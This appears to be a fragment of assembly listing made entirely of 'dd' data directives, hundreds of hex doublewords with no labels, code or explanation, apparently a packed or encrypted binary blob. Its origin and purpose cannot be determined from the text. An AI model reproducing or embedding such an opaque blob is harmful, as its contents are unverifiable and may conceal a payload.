		dd 42B0488Ah, 0FDC0D880h, 9C7803ACh, 0DCC17074h, 20AA612Ch
		dd 8E86D01Fh, 9640E1D2h, 0C52FC024h, 0F200F130h, 93D7C407h
		dd 845723h, 0D40DB93Ah,	0DAD5C1A9h, 50266F11h, 0FE8A1200h
		dd 6B53E252h, 51A2AA00h, 45ED2C72h, 25D8A43Ah, 2CA328D2h
		dd 717C300Eh, 35648F14h, 53941340h, 44F85088h, 1D5C91AEh
		dd 0A87C03D0h, 0CCA94A53h, 9F0004A2h, 5FD02FC2h, 0C1003628h
		dd 25D10BD4h, 0B585F8h,	0E7A1338Fh, 2187D5FFh, 3AEC50BAh
		dd 40C7BBE8h, 64C990ACh, 0A67B54h, 8F38378Dh, 0A4F89C46h
		dd 0FA747F09h, 94B021F5h, 146DA544h, 10AB34C0h,	0FC769C51h
		dd 7C42CA00h, 0E12F29CFh, 98A424h, 2B3507B7h, 9991A1ACh
		dd 0E300EEEAh, 0DA87F544h, 4B60A8E7h, 495C239Ah, 53EE05F0h
		dd 26B75A0Fh, 59386123h, 70323ED0h, 0BAD88706h,	0AD00897Ch
		dd 415C3A6Ah, 5263F178h, 0D600A4F3h, 64D5B87Ch,	263C1672h
		dd 0EC064EFDh, 271AA47h, 46673509h, 3C521D52h, 560A3Ah
		dd 41500336h, 3F3DC6h, 0D7C7913Ch, 6D492E17h, 190D8BFh
		dd 38C6D636h, 2815574Ch, 4A858F4h, 0A7B3F4D2h, 9D7FAC00h
		dd 8C980E9Eh, 903F822Fh, 149BDAF0h, 87FF6C3h, 0CD982B01h
		dd 60D4D671h, 0B88AC90h, 3C480292h, 36EADFE8h, 2E96C498h
		dd 9A39CCF4h, 12C4008Ah, 7795D7F3h, 0B77E0023h,	0BFF1791Fh
		dd 0C61D890Bh, 0E2C07B1Ah, 1695C5F5h, 9A693042h, 116F2346h
		dd 0E4FBB318h, 7BB2C20h, 0F04F400Eh, 60C020D1h,	2500F94Dh
		dd 82958499h, 0DD49C3h,	0CE5F617h, 32E2FBC5h, 6B094D01h
		dd 375CA4C4h, 983BF643h, 6119291Ah, 48EE78DEh, 0AC318C5Dh
		dd 172B71D3h, 1C7594EBh, 0CD7A809Bh, 0FFBB67C6h, 0CC633700h
		dd 0CFA6EF62h, 0D37B0144h, 7F70D6F7h, 0E5488CF6h, 0B75105h
		dd 0E61684DFh, 0AE104EFEh, 9A0EA6E8h, 0A65B270Ch, 4040290Ah
		dd 0E9886701h, 0FD812A1Ah, 5EEE1A8Ch, 4E4051F8h, 7000C77h
		dd 6A7DBF25h, 77D486AFh, 0F520C081h, 0B481120h,	717D30C0h
		dd 6E17236h, 0CF75D694h, 1A44A1F5h, 93CA01B9h, 8FC3BD62h
		dd 9E0CB7Eh, 0D602C0B1h, 0D5440AC8h, 5C4482F9h,	561A230Eh
		dd 9B0A717Ch, 9C72AD7Eh, 11AC0A03h, 0DF6900C6h,	0A69F3569h
		dd 0BFCDDE7h, 42F750C8h, 7D111A4Bh, 0F6410C51h,	0F9689510h
		dd 0FEEB9400h, 8B07F079h, 0AD7C1Eh, 0AE48CD8h, 967D01C5h
		dd 0C964D618h, 0A48ED379h, 0AA6DF888h, 0B794300Ch, 0C27630CEh
		dd 0E625A811h, 0EB7980E1h, 51CC90F6h, 7E093B82h, 64C8424h
		dd 0A9E4D80Ah, 0B05E2101h, 4A5C33Bh, 19D6F3h, 92FE1328h
		dd 0CA83CEADh, 0E0D831C6h, 1F81EC21h, 0FE2D7154h, 5FBBC700h
		dd 52701341h, 0C95E9C1Fh, 6F088680h, 794B792Dh,	7E1A185Dh
		dd 0D4FF41FAh, 0FD068E07h, 11338CD6h, 71E100D0h, 77840CF8h
		dd 520031E5h, 0E985E13Fh, 1BDCA7Eh, 441EEDC2h, 20EA227Ah
		dd 0AC30DE94h, 0DC08A1D2h, 48A51F68h, 2D598049h, 34D1DFEh
		dd 4C1E0200h, 0CCD799C7h, 1364A0DAh, 46910030h,	0A18E023Ch
		dd 270207C4h, 486CDB31h, 0C03AC017h, 0D9BA0BF4h, 438725F5h
		dd 0EB9B71C5h, 0C0B45419h, 5EC79013h, 7969A100h, 0DBFB5CBh
		dd 9983FBAEh, 17073437h, 0ABCD1F80h, 18842000h,	0CF44A90Fh
		dd 0BC8202A3h, 0EDD89680h, 27F8F220h, 8E0A097Ch, 348043D0h
		dd 0E5FFB8F1h, 9F780283h, 0BEA81240h, 0A4828483h, 0EB1620C7h
		dd 6E68422h, 0A01129C1h, 98EF6A0Dh, 733D35h, 302CAD55h
		dd 70768971h, 0D4988F09h, 262C1074h, 48A84CF4h,	0B440CB15h
		dd 6F3EDA00h, 0C3EEB1CEh, 0D320E890h, 7CB016C2h, 0FA1B0C3Fh
		dd 0CA003DF1h, 0B7BFE518h, 0E05CD3h, 861B8399h,	0A7BC60B2h
		dd 9E42EB00h, 0AE046F20h, 139C0FDh, 40F8196Ah, 73D49501h
		dd 3E5F910h, 311BC985h,	327BC03Ch, 45EA8B06h, 9D59EB18h
		dd 3DA90921h, 0D68A7DACh, 8A94E373h, 30ADF4h, 0FE326D96h
		dd 0EB302647h, 878F3907h
		dd 0EC397759h, 689C002Dh, 28CD0361h, 0BC00D3A5h, 0F69878EAh
		dd 0C03FD894h, 0A4839B59h, 251B7572h, 0E1612A1Bh, 0ACECD484h
		dd 9998E899h, 0A4D61EFCh, 207764E0h, 60E8A122h,	86CB8904h
		dd 0A400D729h, 327970F0h, 0E0AC5BCEh, 14DB0E85h, 63A70478h
		dd 7D0CC0D0h, 84002537h, 72C6CB69h, 3820A32Ah, 1D01DC79h
		dd 8294DE4Fh, 0DF03F476h, 8DD3F60Dh, 344C91F9h,	1662004Fh
		dd 0EE513C60h, 2C00E9C0h, 483AB1A3h, 34E63E99h,	8C6803BCh
		dd 5C01BD2Ch, 3FC6232Fh, 0E8314919h, 0F01B7BD4h, 48E35893h
		dd 788C3292h, 0AC084619h, 6291CF60h, 8D4188h, 0E38A1006h
		dd 43D1587Dh, 1CB243Ah,	0CEA1ECCFh, 31ACE782h, 0DC4601CDh
		dd 525DEB22h, 50197E34h, 0BD0F7608h, 0F8AE82F0h, 8F2B41h
		dd 464A2BEh, 2C08C3E7h,	31F0F851h, 84C82034h, 0C25B1B07h
		dd 41CEF20Fh, 2581CEABh, 0CEEB4042h, 0A14AF068h, 42E68E08h
		dd 0B3C88178h, 820FCF1h, 0A8C95246h, 0A9F6D818h, 9607B0F3h
		dd 0AD94EF7Eh, 4081FFD5h, 0A45114D7h, 0BF21CD54h, 5CF9FCh
		dd 0BA015708h, 1BFA4BCCh, 0CA111D12h, 0A00A2C4Fh, 9C55FEA5h
		dd 7EA13AB1h, 934B7A80h, 587375C1h, 8109D316h, 0C9D4740Dh
		dd 38533C8h, 0FC5646C7h, 0D6E8C09Ch, 0EF07E73Ch, 8E739B6Ah
		dd 0CEDAB693h, 0C7D700B1h, 9F5C0CB4h, 2A3BE542h, 4E838FC0h
		dd 28D9E086h, 30250260h, 0A799CB11h, 15E817BAh,	1D7EAB0Ch
		dd 1FF419DEh, 1371E174h, 4A280FF3h, 0DA52229Fh,	9E3D0090h
		dd 145491A5h, 0DE713F90h, 0C0440CCh, 0C0FB15h, 4DC12395h
		dd 0BCAB48D7h, 0A0BF9B1Fh, 4C47AD3Fh, 31B0C0C4h, 67CF222h
		dd 9C278C51h, 0C0443084h, 9AE0245h, 0B27B8296h,	0AB07C6Bh
		dd 12001F3Fh, 7E3E47B9h, 9ACD298Dh, 0D11C3084h,	84A474B9h
		dd 6ABC9113h, 8245EC00h, 43DCEB72h, 7E220094h, 170A9DDEh
		dd 10C7CB7h, 0C26465A2h, 9DA8031Eh, 0C0E28D90h,	359B1810h
		dd 10B0968Ah, 255E744h,	2EE06DD5h, 8C401536h, 0C70EBBC4h
		dd 403D3A3Fh, 7C2A2F4Dh, 957D1603h, 0B4F877DDh,	83E948C0h
		dd 0D5381386h, 6B2D8EB0h, 9CB71D00h, 81E120F4h,	4C455226h
		dd 4CB6B400h, 0C95A1A0Dh, 1070534Ch, 820FF636h,	100533BFh
		dd 4E7C409Fh, 0E8AB1A7Bh, 0B0E1BE01h, 2A76AF22h, 94704821h
		dd 6E1C001Dh, 0E82E80ADh, 0D109C48Dh, 4945EB1Fh, 0A832AC44h
		dd 0F929FE00h, 2C76FC6Dh, 98B75E0Fh, 0FB22408Eh, 0D7E34E18h
		dd 0C0842198h, 83C1F8DEh, 94C5F100h, 0C14EBABh,	3D2D00D2h
		dd 0C975B47Bh, 76017E1Eh, 0F6E68921h, 798002E5h, 0AE114135h
		dd 967E2843h, 0CF190F6Eh, 0C6DB408Ah, 2D83574h,	0DE46447h
		dd 74E4811Ch, 4CFFD3E0h, 0D6022A9Ch, 79642545h,	0E054C143h
		dd 0A88F6810h, 0F66B990Ch, 195B845h, 0C4A31940h, 20D6EC6Dh
		dd 0A188EA24h, 0DEBB00F8h, 0E773520Fh, 0C31D12F6h, 6F814D2Ch
		dd 2FF48E56h, 0DC045461h, 58D680C8h, 7D808C79h,	0B6609A0Bh
		dd 4B4BE8B2h, 0C6D82029h, 0F4300D8h, 0C5FA31E1h, 0E900B5FDh
		dd 7D91B65Dh, 2517AEh, 11C21F82h, 0D493D115h, 8EA89A48h
		dd 84089720h, 3FF98EFEh, 0E32CCCC0h, 32071926h,	0CB5BC584h
		dd 0F420E695h, 419518h,	79C1FED3h, 3BF0D1B2h, 0BF437002h
		dd 60A08ECEh, 88F759C0h, 1F0A861Ah, 0A0B172D3h,	74D5ACC3h
		dd 6FF0079h, 0AEA64E76h, 33025A4Bh, 0AF147ADDh,	0B1D098CEh
		dd 58E35892h, 0C890FA22h, 0D94EE703h, 22AD04A4h, 0F407D0D1h
		dd 0BBB8C69Ch, 0BE954D30h, 36EE07DEh, 81A5D7A7h, 72E8B7A8h
		dd 75480060h, 86C8DD7Eh, 993C9826h, 1C250580h, 0C0CC40C5h
		dd 3B8DD9A6h, 55171EE8h, 940EAC62h, 1894E7h, 0B2B0D777h
		dd 73AF68E3h, 9E2F0018h, 37468395h, 1252558h, 0A41430E6h
		dd 83D380C9h, 0D364F758h, 41C09434h, 930E6A6Fh,	89CB00DCh
		dd 3E1ABD49h, 63BA9000h, 0E6151012h, 0B4D65464h, 6FF288FCh
		dd 108CFB00h, 2BB19F43h, 513B1FE1h, 0A45170D8h,	6D00AFAEh
		dd 0C8488C06h, 120BA75Dh, 45B5407Ah, 0CA114544h, 1DE83D10h
		dd 80FA6297h, 9971E0A9h, 13CA7BEh, 0C3BFB72h, 38AB8E84h
		dd 0B19600B8h, 0D61A6A3Fh, 0A2B4E75h, 40C4E424h, 901219C8h
		dd 133B0698h, 2877CE14h, 0ED1C4E50h, 4C7D0446h,	8034F001h
		dd 7E20AB20h, 0A1451B25h, 0FD489B94h, 1B06DC20h, 19E8821Ch
		dd 0C0A0CCB2h, 0D4283D77h, 0D83B5B0Dh, 34E421EEh, 23890292h
		dd 0DEB3F8EAh, 77A5A4E0h, 0D0B7DB28h, 348ED324h, 0BC60A048h
		dd 9FB3337h, 0B85C8DD2h, 1500D85h, 2A1AE7DCh, 0E69B10E9h
		dd 32D1CE0Dh, 3F8A9D00h, 0BC009A85h, 60992096h,	53F8ABC2h
		dd 0C600E0FBh, 0B31502B6h, 0EE0444AAh, 53A48C03h, 0F5411481h
		dd 76D5FC10h, 2011DA60h, 39F3945Ch, 0EB0D953Ah,	0E1291247h
		dd 9101F3D8h, 2C426482h, 0D89363AEh, 0AB443770h, 7907D810h
		dd 8586E509h, 0D0E0845Dh, 58551C40h, 4200EB5Eh,	86B4A105h
		dd 7CF95903h, 0D6960CD9h, 3251DD71h, 247C8F2Ch,	0FC36123Ah
		dd 9120CCh, 0B168AB13h,	0D606526Fh, 39DE7033h, 80E2CCE9h
		dd 77E5BE00h, 95FC01F7h, 1BEB1301h, 0C2112023h,	0A2C93180h
		dd 0E6BC2CC8h, 41AD4827h, 1BC8B69Ch, 0C4E05329h, 270E1822h
		dd 200CD7EEh, 8B1BDC10h, 7F1C0E8Dh, 5C8C2032h, 8F7C8259h
		dd 0F7D0C01h, 35F1485h,	0DF60A835h, 2240900Dh, 9501F656h
		dd 18EDAF5Eh, 7832ADFCh, 0E250B00h, 1C62EF21h, 0E5003174h
		dd 0D7877A6Eh, 3A209F82h, 7CCCD425h, 674F04DDh,	44D4E047h
		dd 60E35828h, 70110444h, 0CDB500C6h, 0ED56540Dh, 0EA00C8F0h
		dd 0E660E1F2h, 79C15D8Dh, 1220626h, 61C6AD81h, 8B1248E0h
		dd 0CC20343Fh, 80F6B770h, 6E881BE5h, 0C8F10024h, 0C7BDE852h
		dd 0AA07645Ch, 9748353Bh, 0CA86C20h, 0AF230A5Eh, 1D4CEB84h
		dd 26C780D5h, 0A8FA11F9h, 0C9DE5400h, 958F59CEh, 0D8981530h
		dd 0A3998FCh, 0C29B3BF9h, 47EB741Dh, 53E5907Eh,	51091C48h
		dd 1111B495h, 0B3E878E0h, 0C330E9Ch, 2B05641Fh,	38C488DAh
		dd 0A6485F00h, 87DCB47Eh, 7DF00115h, 9642B7F9h,	0AE53E427h
		dd 0A8568528h, 0D780B8B1h, 931FDC65h, 66240715h, 90783284h
		dd 0BE8DB97Fh, 71E8A414h, 29B10348h, 0E0E0CE5Eh, 40BA90Dh
		dd 0AB894699h, 0A62CE411h, 65E09101h, 685ADE3h,	0B0200AD0h
		dd 52F64494h, 54A04512h, 0D489001Ch, 0D8181176h, 1F71606Dh
		dd 0C09921B5h, 0A8444528h, 26010A7Eh, 0B141470Ch, 71A4D311h
		dd 0A309005Fh, 0AADA5DAh, 3555DCFDh, 75098C7Ah,	83B7D5B2h
		dd 97A482BBh, 7E1B9000h, 408494E5h, 470113FDh, 77AABA00h
		dd 23AC031Fh, 0CF8328D4h, 72EF444Ch, 80C7FA3Fh,	0D278CA12h
		dd 539E7FDFh, 707D413h,	10365744h, 62EB102Dh, 39845899h
		dd 3488E684h, 2A7900C4h, 92F4A18h, 0C3002835h, 0BECC6F4Eh
		dd 61420C99h, 0EEC581ADh, 0EA43D47h, 0F3C3D695h, 0C958C8h
		dd 39CE482Fh, 0BDFE7E9Fh, 0DE587A7Ch, 844848B4h, 44C08EE9h
		dd 0A801AD82h, 120680h,	0B03AE3EDh, 0CC144BA0h,	60CAD22Eh
		dd 0E58F6901h, 4180C711h, 775697ADh, 9C0283B0h,	6EF3F819h
		dd 7C84DA12h, 3E4D309Ah, 0D0FDBC92h, 64E55707h,	0E0617E2Ah
		dd 6FFC9032h, 4A872415h, 829505F0h, 0C32182FFh,	0BE23D048h
		dd 3455292Eh, 440E8409h, 2E750734h, 709EA40Ah, 1F1DF388h
		dd 2FE6FF1Eh, 20CA5ACEh, 0EB920ED3h, 47AC4B5Eh,	0C31EECE0h
		dd 0F1180680h, 0B551EBD8h
		dd 26960115h, 95302301h, 0F1D9C0A3h, 6EFA8201h,	0ACC79E7Ch
		dd 929448h, 798AF62Dh, 80EB4B44h, 0AB464A00h, 8CD30201h
		dd 251491D6h, 0F03398A0h, 939ABD9h, 0FE1300FFh,	0C0C732B6h
		dd 11532F4Eh, 1E343C2Ah, 7E9EC372h, 0B80942ADh,	8F96AC0Ah
		dd 0D8642734h, 995402CBh, 0A4E50502h, 0C7007518h, 0AE6E2B2Dh
		dd 0B0DBBBD8h, 0CC933DCFh, 9EC9F83h, 0ACEB656Ah, 2394022h
		dd 0C83ECC82h, 0F48157ECh, 41E1FF63h, 3DA9019Ch, 0C9153294h
		dd 7100441Ch, 444600F2h, 0B73975CCh, 96647E82h,	1D0517A0h
		dd 0F760DCF8h, 0A8176977h, 8F032362h, 0F857B593h, 18D32CACh
		dd 7889FF5Ch, 6682C47Eh, 0D64900B4h, 0B8090F22h, 0AF00BD0Bh
		dd 254C441Fh, 18A42903h, 796AFF40h, 0D9C0F749h,	0B0068CBDh
		dd 866E004Fh, 34D8767Eh, 30C4A3D6h, 4D0875D2h, 0F386A440h
		dd 888E28C0h, 0AF172684h, 30FF0CECh, 0B0888998h, 0C16F2A5Dh
		dd 11350050h, 0DDBF09D2h, 270CCED8h, 9A984825h,	3C7B741Ah
		dd 0C48D30Ch, 9216AEB0h, 0EE4CD700h, 907BE542h,	0F094381Fh
		dd 0A8342794h, 0FD20BD20h, 83D314F5h, 0EC5824D2h, 8A3EC39Eh
		dd 0A3F8BFCBh, 3A0572CDh, 0A164E3C8h, 8B1D80F0h, 0D440E804h
		dd 0A8A2A935h, 52037A00h, 85DB3EAh, 562DB200h, 7DEE181Ah
		dd 4E050276h, 0FA5F81D4h, 4058A806h, 99CBB92Eh,	0B47C10E5h
		dd 0F06703CFh, 8124336Ch, 0ED10F4A0h, 123B9E72h, 48C6263Eh
		dd 5B728260h, 49D46011h, 0B8A0F0F1h, 0C9CD341Dh, 0B7588380h
		dd 49E6BFFEh, 0B1028422h, 0D7FDEC64h, 0A6005CC4h, 7E2C6704h
		dd 1935392h, 43EF2745h,	0D976B4B3h, 87146C74h, 0F88072AEh
		dd 7E795DDBh, 0F0D750D8h, 48C05F65h, 6940E9C0h,	2F436EBDh
		dd 709298D4h, 0A9448870h, 0EB9E2E3Ah, 342B40E8h, 0B1341840h
		dd 74C8581Bh, 0C120609Dh, 4C6FD9C8h, 0A750B901h, 474E706Bh
		dd 0C7AF1087h, 4F863E73h, 0A2F82051h, 91B7A71Fh, 1FFB721Ch
		dd 30F0CE84h, 75FD4389h, 279900C5h, 651482D6h, 53030EA4h
		dd 0B21981CAh, 0D2A288CDh, 256A0C07h, 0B0684190h, 61674830h
		dd 0FD5A01h, 27E66FA2h,	29AFBE33h, 5E91C001h, 0CB85A7B1h
		dd 42997180h, 6E0DB2D7h, 15AA3Bh, 198CB1C8h, 0B52475h
		dd 68F09A2Fh, 9B76AF0Ah, 0EABDA601h, 6D3A1F54h,	0E635F187h
		dd 5B0C92F0h, 449975E0h, 6090BB64h, 7B4EB242h, 0FCDCCCE1h
		dd 4F00D196h, 8A947F5Ch, 1EF11AACh, 5AA01Fh, 4AEF67E0h
		dd 7803B61Eh, 4953F8E5h, 0A349006Ah, 2012076Fh,	40C1BE8h
		dd 0A822AECDh, 76B20C32h, 4C28BCD0h, 0F4DCA100h, 0FC45BF58h
		dd 18A5638Ch, 0F900CF85h, 49C154CBh, 7455D237h,	45660171h
		dd 856C646Bh, 0C4E0BD7Bh, 30821D79h, 0F2A4001Dh, 0E3C7F3BDh
		dd 0D458A300h, 0EDF0755Ah, 9D68007Ch, 4C5DDF60h, 0DD30C81Ch
		dd 0E77F4140h, 9B262825h, 7237308Ch, 1E29D219h,	584E8900h
		dd 46810C86h, 0E3C738Dh, 0E693EE35h, 9040D664h,	0D5C7EC24h
		dd 0C9BF241Dh, 3B881A00h, 7B9302h, 13E4BEDAh, 457D6B97h
		dd 76B031C1h, 8850BFE9h, 1F5E716Ch, 0C1B21B10h,	8CD1C8F4h
		dd 0C888BF4Eh, 80C0CE08h, 0F67D052h, 797A0081h,	7D5EE327h
		dd 0E70FC918h, 0A73D7674h, 6AE66872h, 64482AF0h, 1E3C00D0h
		dd 51425CB8h, 5812991Fh, 8C203A0Eh, 1676088h, 73B309CCh
		dd 0A235FC3Fh, 0C1714039h, 59A0F100h, 0C794DF31h, 0D5F5008Eh
		dd 37309860h, 107CD84Dh, 44D07200h, 0A75D17B7h,	0FD890096h
		dd 0EA1E03FAh, 0C8293CBBh, 0F131C0C5h, 11A834C0h, 38F244B8h
		dd 0A1D1CA00h, 9EA89C29h, 23920CD9h, 0B9213B6Ah, 3FB8B548h
		dd 0EDE386AAh, 1819BCD6h, 0C168EE45h, 560067ECh, 95341A85h
		dd 0B8571BC7h, 0F8930CB8h, 76794227h, 0C8F7E522h, 0ED444190h
		dd 216B20C2h, 57F1CE76h, 488C4814h, 0A817131h, 4D7F1EB6h
		dd 42D60C40h, 0BBF4EB29h, 940719F2h, 9D63985Ch,	7B0F8580h
		dd 0D2A90171h, 2A14A83Ah, 0EC5C2460h, 76A4B550h, 79C7C5FCh
		dd 80883A19h, 8C29300Fh, 887D04A4h, 0D0BF0A7Dh,	0D64C18F4h
		dd 0D9127957h, 691DD400h, 0B2B427A4h, 0C03B64EAh, 0F2A74019h
		dd 245B243Eh, 4054D485h, 0A34A05EDh, 7189539h, 7992C69h
		dd 0F0942713h, 297734FCh, 8889ED0h, 7B8740DEh, 0FC728317h
		dd 80744AD3h, 0EC6BB54Ch, 707F097Ch, 0C82A29Bh,	6CA4C1EAh
		dd 99AF406Ah, 97F27Ah, 0E6AE41BCh, 8A303C93h, 1C4FC900h
		dd 2720CFA0h, 256B1A40h, 6C4CB110h, 0FB81C003h,	0D072D15Dh
		dd 0A814EEh, 8C8A4CA5h,	5C7D8B7Ah, 857C8F14h, 8E1C80E8h
		dd 3DC0E416h, 206A0DEh,	515D4927h, 320EE130h, 0AD1D98h
		dd 117E8BD6h, 5BB8AE27h, 7406BE79h, 0C98543AFh,	1D930F51h
		dd 60E17FCh, 69CD0960h,	0E41F9836h, 0CBC4C2D4h,	1488F640h
		dd 2CE2F681h, 144C5B46h, 121C3C48h, 1F69AC4Ch, 0B104000Bh
		dd 69FC3D10h, 0D550E400h, 7EC1CCDh, 79F46084h, 62D738F5h
		dd 4D16B000h, 0FD396920h, 3050D250h, 0EB42B708h, 432AE900h
		dd 7CF2D213h, 8054B1F4h, 0DA84EAE6h, 0B41CE8ABh, 77400A3Bh
		dd 4320E77Ah, 295E6048h, 0C471EEF3h, 0C1946100h, 679E988Ah
		dd 5EE71FB0h, 66800006h, 1CA0E9AEh, 877ACF02h, 64D6DBCEh
		dd 9ACC2C00h, 486B0F31h, 3726E455h, 93A40F0h, 0DA12A6B6h
		dd 700DFF1h, 8F442DA4h,	0E45806E0h, 0F9F6857Ah,	0BF9E1101h
		dd 9F969264h, 44D8DC20h, 1F2CA775h, 0EA608C01h,	4A5E5CBh
		dd 5439EDD1h, 92482D0h,	0B0C74522h, 0C8405ACCh,	84807399h
		dd 4E1D29FDh, 92F9076Dh, 0A0BBF543h, 15EE8A4Ah,	95BA6E04h
		dd 0A882689Dh, 0AFA7205Dh, 8E06A9BDh, 18B15553h, 49149259h
		dd 0A6248C77h, 0A39303D0h, 8CF407DCh, 4D7FE9E4h, 6F920D03h
		dd 0CA3A257Bh, 0F2A4A04Fh, 7658B0h, 39BD1964h, 3E40FF43h
		dd 0D91C7E07h, 3C635565h, 0C5C9A177h, 0E9216833h, 0C780DA90h
		dd 7BAF3FA7h, 0F0CEED00h, 904DAD71h, 1F740076h,	0F69A4F85h
		dd 0EF03884Ah, 0BB2292E2h, 0D20A689h, 8E799106h, 0A449E008h
		dd 2800E9F2h, 5563B9D6h, 0C05B7B6Dh, 3BC47529h,	150009CEh
		dd 5895D0F9h, 607BD8C3h, 5AC94187h, 60001E84h, 7A963945h
		dd 18AC8Eh, 0A6486CFEh,	0CDC55F20h, 3064B45Ch, 44DD595Dh
		dd 0D9E0ECh, 0A6C6DF2Bh, 64B81307h, 0B6025376h,	3769D6EFh
		dd 0F72E379h, 138B1468h, 6512F880h, 69302341h, 58E5D184h
		dd 0C4C50EC6h, 0F860AB9Bh, 0F2C2C824h, 46F5FC1Ch, 9A938C3Fh
		dd 607831F4h, 0C5D88940h, 700798Fh, 97575E93h, 9C3DC19h
		dd 0A9D54EEBh, 4740DB0Ch, 0B09FF92Ah, 2F1A7714h, 808688A4h
		dd 0E14E9E2Ah, 0D0F6844Fh, 34BDC900h, 0A3131AFEh, 39FA3B16h
		dd 102F18Ah, 7B8C1148h,	6F13473Eh, 0F5DC0148h, 0F3C8EE59h
		dd 61366079h, 1F051CA9h, 2FCF9214h, 0BEFC011Ch,	88796177h
		dd 0F2EC2980h, 42B72D0h, 809C3C3Ch, 59016C1Eh, 2431EE6Ah
		dd 198640Dh, 887BA11Dh,	92C99176h, 438AD200h, 496E1E4Bh
		dd 28BBEB09h, 0E0050E52h, 0FCBAF007h, 0AD5C3B37h, 0C7D5B1E0h
		dd 0C90AABA2h, 0CAC963Fh, 5FD0073Ah, 0F9A0B2F8h, 0DCDD323h
		dd 0F34E6A88h, 1E27C2F0h, 4C0C059Fh, 5CE4B027h,	1401185Ah
		dd 8F5978A6h, 1F68C819h, 0BA1CF6C7h, 0BE1F6E60h, 0A1370781h
		dd 0E6C391A3h, 9310A8F8h, 6069985h, 0E975F686h,	0D0427D03h
		dd 0AE2F841h, 0F2811E79h, 0D7C28110h, 117F1141h, 0FC4B0177h
		dd 4E135100h, 636B1F50h
		dd 47625907h, 0CA006E38h, 90ABB0E5h, 9C20532Fh,	0EE514F30h
		dd 0B0000382h, 56917D06h, 0CF32B95h, 0CA7B86D7h, 93149669h
		dd 609CCCh, 0FEA0A50Fh,	1BBF00Bh, 0A1156B4Dh, 837BDB81h
		dd 5A41491h, 0F3C0A7E8h, 48C8936Ch, 0F8CE3483h,	0D5A40011h
		dd 5A30797h, 0B7A81404h, 0F580B07Bh, 0F8B2BCD1h, 5462C00Fh
		dd 0A556077h, 1197ABEh,	0C6F7DF7h, 8C90F381h, 0D949AD79h
		dd 284B002Ch, 0A32B479Bh, 0F0483BABh, 923300C4h, 0FD9FBF6Ah
		dd 0A14C00EAh, 77149794h, 0C20745D1h, 8772B6A9h, 7CC51DC1h
		dd 54CD86C0h, 0E8AB6C30h, 1530CF6Ah, 98A08C1Ch,	7F1E1318h
		dd 4C1F840Ch, 0FF6B2840h, 1A1F71BCh, 9973FA47h,	3B3E1846h
		dd 3FC380E7h, 6D48F0B2h, 0A88F1F55h, 11CC64FEh,	0C4861D98h
		dd 0B4804068h, 109390Ch, 10AD3A95h, 27DE58h, 0E9EA2A51h
		dd 0EE613B0Eh, 142BE226h, 4E0D7111h, 431EBADh, 4A0C00A6h
		dd 73689FF7h, 4F425490h, 0EF80F021h, 6BCD5AA8h,	421C09Bh
		dd 0B19D3B52h, 0E1002B72h, 1BEFFC59h, 24920EFEh, 40A07B9Ah
		dd 94DE44A7h, 4EAC0218h, 1F19EC81h, 5525E0Ah, 18EFFFh
		dd 0A93A6C6Ch, 44A08C6Bh, 14898FDEh, 4C077CDCh,	0AC01BDF4h
		dd 63F00552h, 0E54C35D8h, 3761804Fh, 54060DCAh,	0F870EBB5h
		dd 1EC10458h, 80D8F044h, 1F906CACh, 8094A63Ch, 8E9C15B5h
		dd 504BA193h, 0B3879h, 0CA5D1BD6h, 3DB319BDh, 960EB170h
		dd 8494BC15h, 1D5E71ADh, 31E40060h, 6C062832h, 70503307h
		dd 0CCA17267h, 8BE59418h, 885BFC30h, 0E300EC4Ah, 0BD4BA83Fh
		dd 24692BFDh, 8B8F0B5h,	0AE82909Bh, 1A6158Ah, 0F7680C65h
		dd 7863C3C0h, 0A50E54A0h, 69D7F600h, 2CA7D123h,	96582471h
		dd 0C21E804Ch, 48EF1020h, 0FC78A129h, 62F56800h, 3E6B1A2Fh
		dd 84B09504h, 3556F951h, 1C5F2C16h, 2124A00h, 14BDAABAh
		dd 0A0D5468Dh, 91ADF87Bh, 1FD4006Ch, 0E8A01718h, 0B00F8F2h
		dd 0CD6D9525h, 42DDA58h, 0B9F01AE4h, 8488D1FBh,	206385h
		dd 67CD10F5h, 0A6181Ah,	0A352AB39h, 8A08E14Dh, 7B78A5E8h
		dd 0C029F400h, 4F0A2C43h, 0E875901Ch, 0BAB3C36h, 1600413Eh
		dd 0BF1EA0FDh, 0F57DB5EDh, 31305630h, 0D4347Bh,	48C020F6h
		dd 649C5A6Eh, 5B686000h, 50B5808Ah, 85EE0013h, 0F5D1379Eh
		dd 900165ACh, 414EAEA3h, 3446A931h, 0DBA00F28h,	8C3E3F52h
		dd 0A184942h, 56C3E100h, 3AE87539h, 0AEEF00AAh,	5C1D4DB6h
		dd 0D90E584Eh, 4104EE33h, 0C3294F1Bh, 0AFA100FBh, 78C84BB6h
		dd 0EC3DFC26h, 8C510601h, 32202F18h, 44102741h,	308E3D10h
		dd 0BC4040B5h, 0CA13AB4h, 904841A6h, 598BE880h,	0DE02E501h
		dd 0DB13228h, 8B0C983h,	8064E89h, 8B434CE6h, 656C0051h
		dd 7CF8A9D4h, 0E00C94B5h, 39225776h, 0A3E71D42h, 0CA518670h
		dd 8E0140BBh, 0C274AB40h, 37317553h, 25575401h,	0FD9398Eh
		dd 337AD020h, 613F6ADAh, 8BD58006h, 29BDB05Ah, 883F54C2h
		dd 41BFEB28h, 19A70400h, 3C6048E2h, 0F3D8961Dh,	45235180h
		dd 615AF29h, 1EA83156h,	37F46842h, 0A1493D61h, 81801154h
		dd 0ED4204C0h, 0F7009194h, 0DF7B6FE4h, 28FAB9Ch, 0EEAA4DA0h
		dd 1C415CB5h, 7C46104Ah, 10C200E7h, 5B74DCE3h, 0CF14AB2Dh
		dd 18E05645h, 0AD692B7Ah, 0A3C81F68h, 2308126Dh, 0A0201954h
		dd 4D4E20ABh, 0C3BCAA0Ch, 6054E130h, 6AEBA110h,	3E06AFA4h
		dd 8D3DFB93h, 0ED0A0331h, 0EEF5C85Ah, 0AE90C287h, 2BEFD4A1h
		dd 0B8498B3Bh, 8A0B030Ch, 0E436D864h, 0FAE646h,	1279BDC0h
		dd 962C5EFCh, 1758DB01h, 568A4E8Bh, 45987CA0h, 0BC93DA40h
		dd 78F7B488h, 0E54FC00h, 360C3CA2h, 0A0750013h,	38ACBF1Fh
		dd 4C7AA6F9h, 21C3D406h, 22E8CF29h, 0FD7843DAh,	0B4E0B045h
		dd 34A049EFh, 7C315380h, 3301F632h, 0F6E59B3h, 0C3FCAB4Fh
		dd 0A90A1977h, 108A304Eh, 720DDDh, 8864899h, 0EA06C56Eh
		dd 6000C4A2h, 1EAA6DA0h, 0A23C141Bh, 0F8FFE189h, 7C5A8AF8h
